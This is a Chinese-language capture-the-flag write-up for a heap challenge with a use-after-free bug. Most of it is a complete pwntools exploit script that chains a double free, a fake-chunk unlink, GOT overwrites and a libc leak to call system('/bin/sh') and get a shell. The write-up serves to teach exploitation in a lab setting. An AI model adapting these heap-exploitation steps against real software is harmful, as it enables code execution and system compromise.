漏洞:delete指针未清0,产生UAF。
基本功能
- Keep secret①small②big③huge
- Wipe secret
- Renew secret
交互
def add(index, content):
p.recvuntil("Renew secret\n")
p.sendline("1")
p.recvuntil("\n")
p.sendline(str(index))
p.recvuntil("secret: \n")
p.send(content)
def delete(index):
p.recvuntil("3. Renew secret\n")
p.sendline("2")
p.recvuntil("Big secret\n")
p.send(str(index))
def update(index, content):
p.recvuntil("Renew secret\n")
p.sendline("3")
p.recvuntil("Big secret\n")
p.sendline(str(index))
p.recvuntil("secret: \n")
p.send(content)
exp:
1、由于UAF造成double free。
2、构造unlink
3、改变table为atoi_got和puts_got
4、leak+system(’/bin/sh’)
# Double Free
add(1, 'aaa')
add(2, 'bbb')
delete(1)
add(3, 'ccc')# huge secret导致fastbin中的内容被放入smallbin
delete(1)# 放入fastbin
#Fake Chunk
f_ptr = 0x6020d0
s_ptr = 0x6020c0
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(0x6020d0-0x18) + p64(0x6020d0-0x10)
fake_chunk += p64(0x20)# presize位置被与一个堆块共用
# 从fastbin中取出堆块,构造unlink。
add(1, fake_chunk)
delete(2)
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_offset = libc.symbols['system']
atoi_offset = libc.symbols['atoi']
content = p64(0) + p64(atoi_got)# big
content += p64(0) + p64(free_got) + p32(0x1)*3 # small
update(1, content)# 构造table
update(1, p64(puts_plt)) # change free_got to puts, leak atoi_got
# leak
delete(2) # puts(atoi)
libc_base = u64(p.recvn(6).ljust(8, "\x00")) - atoi_offset
system = libc_base + system_offset
# system('/bin/sh')
update(1, p64(system))
add(2, "/bin/sh\x00")
delete(2)
p.interactive()
反思:
1、fastbin被放入smallbin还需看代码了解。
2、presize可以被前一个堆块控制,需要进一步观察。
相关资源:
https://gitee.com/sunrise1/CTF/blob/master/w4-4.zip